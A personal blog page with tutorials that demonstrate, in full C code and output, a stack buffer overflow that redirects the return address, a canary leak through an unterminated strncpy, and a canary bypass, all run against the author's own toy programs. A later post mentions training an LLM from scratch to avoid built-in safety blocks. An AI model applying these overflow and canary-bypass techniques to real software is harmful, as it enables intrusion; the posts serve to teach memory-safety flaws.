Friday, May 17, 2024

Hacking 102 - Leaking the canary with strncpy

Hacking 102 - Leaking the canary with strncpy


A convoluted example of how you can leak GCC's stack protector canary with a strncpy, thanks to strncpy not null terminating when the strlen is greater than or equal to the buffer size specified in the 3rd parameter.

get_canary() just verifies it's actually the same as GCC's canary.


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned long get_canary()
{
    asm("mov %fs:0x28, %rax");
}

// prints out our string, which is a non-null terminated string, thanks to strncpy's rule of not null terminating!

void print_str(const char *str)
{
    for (int i = 0; i < strlen(str); i++) {
        printf("%x", (unsigned char) str[i]);
    }

    printf("\n");

    for (int i = 0; i < strlen(str) + 16; i+=8) {
        unsigned long *p = (unsigned long *) &str[i];
        printf("%lx ", *p);
    }

    printf("\n");


    unsigned long *canary = (unsigned long *) &str[256+8];

    printf("Is this the canary getting leaked out? %lx\n", *canary);

    printf("Hint: Ignore the last two hex digits, as that's just 'A' character, overwriting the 0x00 null\n");

}

void func(const char *input)
{
    char buf[256];

    // NB: This is a convoluted strncpy, probably won't find it in the wild, but you never know...

    strncpy(buf, input, sizeof(buf)+9); // non-null termination AND off-by-one! -- overwrite with 'A' on the last number of the canary, as it's zero (i.e. little endian 00 aa bb cc dd ee ff 11, so the 00 stops printing it out
                        // cause it's null, but if we use strncpy with an off-by-one that hits the last digit (first digit little endian) then we can print it out

    // also, 8 bytes is just empty part of the stack, so that's why it's 9 bytes. 8 empty bytes, + 1 off-by-one.

    print_str(buf);
}

int main()
{
    char input[1024];

    memset(input, 'A', sizeof(input));

    printf("Canary: %lx\n", get_canary());

    func(input);
}



Output:



$ gcc test.c

$ ./a.out
Canary: 6af07ba9ba12d800
41414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141d812baa97bf06ad0ac548dff7f
4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 4141414141414141 6af07ba9ba12d841 7fff8d54acd0 55ce63ecb3f8 4141414141414141
Is this the canary getting leaked out? 6af07ba9ba12d841
Hint: Ignore the last two hex digits, as that's just 'A' character, overwriting the 0x00 null
*** stack smashing detected ***: terminated


Notice the bold/underline is the canary in reverse, because it's stored little endian on x86_64.

Monday, May 13, 2024

Hacking 101 - stack buffer overflows on x86_64

Hacking 101 - stack buffer overflows on x86_64


I won't explain in too much detail, but the following code creates a buffer overflow that controls the return instruction pointer on the stack, changing the flow of the code into calling func2().

/*

    compile: gcc test.c -fno-stack-protector
    run: ./a.out 4 (or ./a.out 2... greater than ./a.out 1)

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//#define USE_CANARY

void func2()
{
    printf("I did it!\n");
}

void func(const char *input)
{
#ifdef USE_CANARY
    long int canary = 0xdeadbeefc001d00d;
#endif
    char buf[256];

//    strcpy(buf, input);
// cause there's a null in the address...

    memcpy(buf, input, 256+8*8);
    // buffer overfl0wwwwwwwwwww

    printf("buf: %s\n", buf);
    fflush(stdout);

#ifdef USE_CANARY
    if (canary != 0xdeadbeefc001d00d) {
        printf("Buffer overflow detected! Aborting!\n");
        abort();
    }
#endif
}

int main(int argc, char **argv)
{
    
    char input[1024];
    int loop;

    // fill up input with 'A' x 256 (leaving 1024-256 bytes left)
    memset(input, 'A', 256);

    printf("size of func2's pointer (in bytes): %ld\n", sizeof(&func2));
    printf("func2's address: %lx\n", (unsigned long) func2);

    if (argc < 2) {
        loop = 4;
    }

    else {
        loop = atoi(argv[1]);
    }

    // fill past the 'A's with a pointer to func2(), up to "loop".
    for (int i = 0; i < loop; i++) {
        unsigned long *p = (unsigned long *) (input + 256 + i * sizeof(&func2));
        *p = (unsigned long) func2;
    }

    printf("input: %s\n", input);

    // verify the func2's addresses are actually inside the input buffer.

    for (int i = 0; i < loop; i++) {
        char *p = input + 256 + i * sizeof(&func2);
        unsigned long *q = (unsigned long *) p;
        printf("address: %lx\n", *q);
    }

    // call func with input buffer.

    func(input);
}


Output:


gcc test.c -fno-stack-protector

$ ./a.out

size of func2's pointer (in bytes): 8
func2's address: 561e883a51e9
input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�Q:�V
address: 561e883a51e9
address: 561e883a51e9
address: 561e883a51e9
address: 561e883a51e9
buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�Q:�V
I did it!
I did it!
I did it!
Segmentation fault (core dumped)


Creating our own Canary


Notice if you compiled with -DUSE_CANARY, it uses our artificial canary, and will abort before the overflow exploits the return instruction pointer.


gcc test.c -fno-stack-protector -DUSE_CANARY
$ ./a.out

size of func2's pointer (in bytes): 8
func2's address: 562a98ea0209
input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA    �*V
address: 562a98ea0209
address: 562a98ea0209
address: 562a98ea0209
address: 562a98ea0209
buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA    �*V
Buffer overflow detected! Aborting!
Aborted (core dumped)

Comparing with gcc's canary


Now if you look at a normal compilation, and check out the assembly using `objdump -D ./a.out`

0000000000001223 <func>:
    1223:       f3 0f 1e fa             endbr64
    1227:       55                      push   %rbp
    1228:       48 89 e5                mov    %rsp,%rbp
    122b:       48 81 ec 20 01 00 00    sub    $0x120,%rsp
    1232:       48 89 bd e8 fe ff ff    mov    %rdi,-0x118(%rbp)
    1239:       64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
    1240:       00 00
    1242:       48 89 45 f8             mov    %rax,-0x8(%rbp)
    1246:       31 c0                   xor    %eax,%eax


        .... more opcodes ....

    ... followed at the end by ...

    12a4:       e8 17 fe ff ff          call   10c0 <__stack_chk_fail@plt>
    12a9:       c9                      leave  
    12aa:       c3                      ret    



This is the setting of the canary and the checking of the canary at the end of the function, done by the compiler.

The objdump without stack protector for func is:

<func>:
    1203:       f3 0f 1e fa             endbr64
    1207:       55                      push   %rbp
    1208:       48 89 e5                mov    %rsp,%rbp
    120b:       48 81 ec 10 01 00 00    sub    $0x110,%rsp
    1212:       48 89 bd f8 fe ff ff    mov    %rdi,-0x108(%rbp)


You can see the canary's secret value is stored in %fs:0x28, and gets moved to register %rax, which then gets copied onto the frame pointer %rbp - 8 bytes, which is just before the saved frame pointer, and two pointers from the return instruction pointer on the stack.

If you can leak the %fs:0x28 value, you can overwrite the canary with the same value during the overflow, and thus bypass the canary check.

This is the reason why %rax is cleared (xor %rax, %rax), to avoid leaking the value in the %rax register.

Getting the canary secret value from gcc via some means, and then using it


Source code follows:



/*

    compile: gcc test.c -fno-stack-protector
    run: ./a.out 4 (or ./a.out 2... greater than ./a.out 1)

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//#define USE_CANARY

unsigned long get_canary()
{
    asm("mov %fs:0x28, %rax");
}

void func2()
{
    printf("I did it!\n");
}

void func(const char *input)
{
#ifdef USE_CANARY
    long int canary = 0xdeadbeefc001d00d;
#endif
    char buf[256];

//    strcpy(buf, input);
// cause there's a null in the address...

    memcpy(buf, input, 256+8*8);
    // buffer overfl0wwwwwwwwwww

    printf("buf: %s\n", buf);
    fflush(stdout);

#ifdef USE_CANARY
    if (canary != 0xdeadbeefc001d00d) {
        printf("Buffer overflow detected! Aborting!\n");
        abort();
    }
#endif
}

int main(int argc, char **argv)
{
    
    char input[1024];
    int loop;

    // fill up input with 'A' x 256 (leaving 1024-256 bytes left)
    memset(input, 'A', 256);

    printf("size of func2's pointer (in bytes): %ld\n", sizeof(&func2));
    printf("func2's address: %lx\n", (unsigned long) func2);

    if (argc < 2) {
        loop = 2; // loop = 2 is the optimal solution for this case.
    }

    else {
        loop = atoi(argv[1]);
    }

    unsigned long gcc_canary = get_canary(); // get gcc canary secret value.


    // After the 'AAAA' put a gcc_canary for us. The space gcc will provide will be 16 bytes, so we just fill
    // it up with 2x canary secret values. (assuming loop = 2)

    for (int i = 0; i < loop; i++) {
        unsigned long *p = (unsigned long *) (input + 256 + i * sizeof(&func2));
        *p = (unsigned long) gcc_canary;
    }


    // Now put a pointer to func2(), at least twice (assuming loop = 2).

    for (int i = loop; i < loop * 2; i++) {
        unsigned long *p = (unsigned long *) (input + 256 + i * sizeof(&func2));
        *p = (unsigned long) func2;
    }

    printf("input: %s\n", input);

    // verify the func2's addresses are actually inside the input buffer.

    for (int i = 0; i < loop * 2; i++) {
        char *p = input + 256 + i * sizeof(&func2);
        unsigned long *q = (unsigned long *) p;
        printf("address or canary: %lx\n", *q);
    }

    // call func with input buffer.

    func(input);
}



Output:


gcc test.c
$ ./a.out

size of func2's pointer (in bytes): 8
func2's address: 55ad7774c21d
input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
address or canary: ac9d07067ff30500
address or canary: ac9d07067ff30500
address or canary: 55ad7774c21d
address or canary: 55ad7774c21d
buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
I did it!
Segmentation fault (core dumped)


Friday, May 3, 2024

Drudget.ai might never launch

Drudget.ai might never launch


https://drudget.ai might never launch, unless it receives funding.

See: https://www.moomoo.com/community/feed/109834449715205

Just to train the AI (neural network) costs $4.6 million USD per iteration, which means if I train it with an algorithm, and the algorithm is wrong, that's $4.6 million that just disappeared from my bank account (due to electricity usages, cloud charges, etc).

And let alone letting everyone play inference on it for free, that would cost heaps in a year, unlike the big players who do that already.

I know I could just fine tune the LLM -- but sometimes they've been "engineeered" to block certain inputs already -- cause they're regarded as "safe LLMs". So I need to train my own LLM from scratch.

So unless funding arrives, I'm afraid https://drudget.ai might never see the light of day.

Summary of wavelets

Summary of wavelets https://en.wikipedia.org/wiki/Wavelet_transform https://en.wikipedia.org/wiki/Discrete_wavelet_transform Read the 2nd UR...